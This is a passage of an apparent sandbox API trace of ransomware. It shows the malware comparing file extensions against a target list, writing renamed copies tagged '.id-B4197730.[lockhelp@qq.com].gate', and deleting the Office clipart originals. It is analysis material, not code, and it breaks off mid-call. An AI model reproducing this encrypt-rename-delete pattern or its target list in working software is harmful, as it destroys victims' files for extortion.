[0288.312] lstrlenW (lpString=".ppt") returned 4 [0288.312] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0288.312] lstrlenW (lpString=".zip") returned 4 [0288.312] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.312] lstrlenW (lpString=".rar") returned 4 [0288.312] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.312] lstrlenW (lpString=".bz2") returned 4 [0288.312] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.312] lstrlenW (lpString=".7z") returned 3 [0288.312] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0288.312] lstrlenW (lpString=".dbf") returned 4 [0288.312] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0288.312] lstrlenW (lpString=".1cd") returned 4 [0288.312] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0288.312] lstrlenW (lpString=".jpg") returned 4 [0288.312] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.313] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0288.313] lstrlenW (lpString="BL00524_.WMF") returned 12 [0288.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0288.313] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=6996) returned 1 [0288.313] CloseHandle (hObject=0x394) returned 1 [0288.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf")) returned 0x220 [0288.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0288.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0288.314] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.314] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0288.314] GetLastError () returned 0x0 [0288.314] ReadFile (in: hFile=0x394, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x1b54, lpOverlapped=0x0) returned 1 [0288.400] WriteFile (in: hFile=0x4b0, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x1b60, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x1b60, lpOverlapped=0x0) returned 1 [0288.401] ReadFile (in: hFile=0x394, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0288.401] WriteFile (in: hFile=0x4b0, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0288.402] SetEndOfFile (hFile=0x4b0) returned 1 [0288.402] CloseHandle (hObject=0x4b0) returned 1 [0288.402] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.402] SetEndOfFile (hFile=0x394) returned 1 [0288.410] CloseHandle (hObject=0x394) returned 1 [0288.410] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0288.413] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf")) returned 1 [0288.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0288.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0288.417] lstrlenW (lpString=".doc") returned 4 [0288.417] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.417] lstrlenW (lpString=".docx") returned 5 [0288.417] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.417] lstrlenW (lpString=".pdf") returned 4 [0288.417] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.417] lstrlenW (lpString=".xls") returned 4 [0288.417] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.417] lstrlenW (lpString=".xlsx") returned 5 [0288.417] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.417] lstrlenW (lpString=".ppt") returned 4 [0288.417] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0288.417] lstrlenW (lpString=".zip") returned 4 [0288.417] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.417] lstrlenW (lpString=".rar") returned 4 [0288.417] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.417] lstrlenW (lpString=".bz2") returned 4 [0288.417] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.417] lstrlenW (lpString=".7z") returned 3 [0288.417] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0288.417] lstrlenW (lpString=".dbf") returned 4 [0288.417] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0288.418] lstrlenW (lpString=".1cd") returned 4 [0288.418] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0288.418] lstrlenW (lpString=".jpg") returned 4 [0288.418] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0288.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0288.418] lstrlenW (lpString=".doc") returned 4 [0288.418] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.418] lstrlenW (lpString=".docx") returned 5 [0288.418] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.418] lstrlenW (lpString=".pdf") returned 4 [0288.418] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.418] lstrlenW (lpString=".xls") returned 4 [0288.418] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.418] lstrlenW (lpString=".xlsx") returned 5 [0288.418] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.418] lstrlenW (lpString=".ppt") returned 4 [0288.418] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0288.418] lstrlenW (lpString=".zip") returned 4 [0288.418] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.418] lstrlenW (lpString=".rar") returned 4 [0288.418] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.418] lstrlenW (lpString=".bz2") returned 4 [0288.418] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.418] lstrlenW (lpString=".7z") returned 3 [0288.418] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0288.418] lstrlenW (lpString=".dbf") returned 4 [0288.418] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0288.419] lstrlenW (lpString=".1cd") returned 4 [0288.419] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0288.419] lstrlenW (lpString=".jpg") returned 4 [0288.419] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.419] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0288.419] lstrlenW (lpString="BL00526_.WMF") returned 12 [0288.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0288.424] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=27552) returned 1 [0288.424] CloseHandle (hObject=0x414) returned 1 [0288.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf")) returned 0x220 [0288.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0288.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0288.480] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.480] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0288.480] GetLastError () returned 0x0 [0288.480] ReadFile (in: hFile=0x4b8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x6ba0, lpOverlapped=0x0) returned 1 [0290.268] WriteFile (in: hFile=0x3d0, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x6bb0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x6bb0, lpOverlapped=0x0) returned 1 [0290.269] ReadFile (in: hFile=0x4b8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0290.269] WriteFile (in: hFile=0x3d0, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0290.269] SetEndOfFile (hFile=0x3d0) returned 1 [0290.269] CloseHandle (hObject=0x3d0) returned 1 [0290.270] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0290.271] SetEndOfFile (hFile=0x4b8) returned 1 [0290.273] CloseHandle (hObject=0x4b8) returned 1 [0290.273] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0290.290] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf")) returned 1 [0290.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0290.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0290.291] lstrlenW (lpString=".doc") returned 4 [0290.291] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0290.291] lstrlenW (lpString=".docx") returned 5 [0290.291] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0290.291] lstrlenW (lpString=".pdf") returned 4 [0290.291] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0290.291] lstrlenW (lpString=".xls") returned 4 [0290.291] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0290.291] lstrlenW (lpString=".xlsx") returned 5 [0290.291] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0290.291] lstrlenW (lpString=".ppt") returned 4 [0290.291] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0290.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0290.291] lstrlenW (lpString=".zip") returned 4 [0290.291] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0290.291] lstrlenW (lpString=".rar") returned 4 [0290.291] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0290.291] lstrlenW (lpString=".bz2") returned 4 [0290.291] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0290.291] lstrlenW (lpString=".7z") returned 3 [0290.291] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0290.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0290.292] lstrlenW (lpString=".dbf") returned 4 [0290.292] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0290.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0290.292] lstrlenW (lpString=".1cd") returned 4 [0290.292] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0290.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0290.292] lstrlenW (lpString=".jpg") returned 4 [0290.292] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0290.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0290.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0290.292] lstrlenW (lpString=".doc") returned 4 [0290.292] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0290.292] lstrlenW (lpString=".docx") returned 5 [0290.292] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0290.292] lstrlenW (lpString=".pdf") returned 4 [0290.292] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0290.292] lstrlenW (lpString=".xls") returned 4 [0290.292] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0290.292] lstrlenW (lpString=".xlsx") returned 5 [0290.292] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0290.292] lstrlenW (lpString=".ppt") returned 4 [0290.292] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0290.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0290.292] lstrlenW (lpString=".zip") returned 4 [0290.292] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0290.292] lstrlenW (lpString=".rar") returned 4 [0290.293] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0290.293] lstrlenW (lpString=".bz2") returned 4 [0290.293] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0290.293] lstrlenW (lpString=".7z") returned 3 [0290.293] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0290.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0290.293] lstrlenW (lpString=".dbf") returned 4 [0290.293] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0290.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0290.293] lstrlenW (lpString=".1cd") returned 4 [0290.293] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0290.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0290.293] lstrlenW (lpString=".jpg") returned 4 [0290.293] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0290.293] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0290.293] lstrlenW (lpString="BS00100_.WMF") returned 12 [0290.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0290.294] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=2378) returned 1 [0290.294] CloseHandle (hObject=0x4b8) returned 1 [0290.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf")) returned 0x220 [0290.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0290.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0290.294] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0290.294] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0290.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0290.295] GetLastError () returned 0x0 [0290.295] ReadFile (in: hFile=0x4b8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x94a, lpOverlapped=0x0) returned 1 [0290.418] WriteFile (in: hFile=0x3d0, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x950, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x950, lpOverlapped=0x0) returned 1 [0290.466] ReadFile (in: hFile=0x4b8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0290.466] WriteFile (in: hFile=0x3d0, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0290.466] SetEndOfFile (hFile=0x3d0) returned 1 [0290.466] CloseHandle (hObject=0x3d0) returned 1 [0290.467] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0290.467] SetEndOfFile (hFile=0x4b8) returned 1 [0290.469] CloseHandle (hObject=0x4b8) returned 1 [0290.469] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0290.469] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf")) returned 1 [0290.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0290.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0290.470] lstrlenW (lpString=".doc") returned 4 [0290.470] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0290.470] lstrlenW (lpString=".docx") returned 5 [0290.470] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0290.470] lstrlenW (lpString=".pdf") returned 4 [0290.470] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0290.470] lstrlenW (lpString=".xls") returned 4 [0290.470] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0290.470] lstrlenW (lpString=".xlsx") returned 5 [0290.470] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0290.470] lstrlenW (lpString=".ppt") returned 4 [0290.470] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0290.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0290.470] lstrlenW (lpString=".zip") returned 4 [0290.470] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0290.470] lstrlenW (lpString=".rar") returned 4 [0290.470] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0290.471] lstrlenW (lpString=".bz2") returned 4 [0290.471] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0290.471] lstrlenW (lpString=".7z") returned 3 [0290.471] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0290.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0290.471] lstrlenW (lpString=".dbf") returned 4 [0290.471] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0290.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0290.471] lstrlenW (lpString=".1cd") returned 4 [0290.471] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0290.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0290.471] lstrlenW (lpString=".jpg") returned 4 [0290.471] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0290.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0290.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0290.471] lstrlenW (lpString=".doc") returned 4 [0290.471] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0290.471] lstrlenW (lpString=".docx") returned 5 [0290.471] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0290.471] lstrlenW (lpString=".pdf") returned 4 [0290.471] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0290.471] lstrlenW (lpString=".xls") returned 4 [0290.471] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0290.471] lstrlenW (lpString=".xlsx") returned 5 [0290.471] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0290.471] lstrlenW (lpString=".ppt") returned 4 [0290.471] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0290.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0290.471] lstrlenW (lpString=".zip") returned 4 [0290.471] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0290.471] lstrlenW (lpString=".rar") returned 4 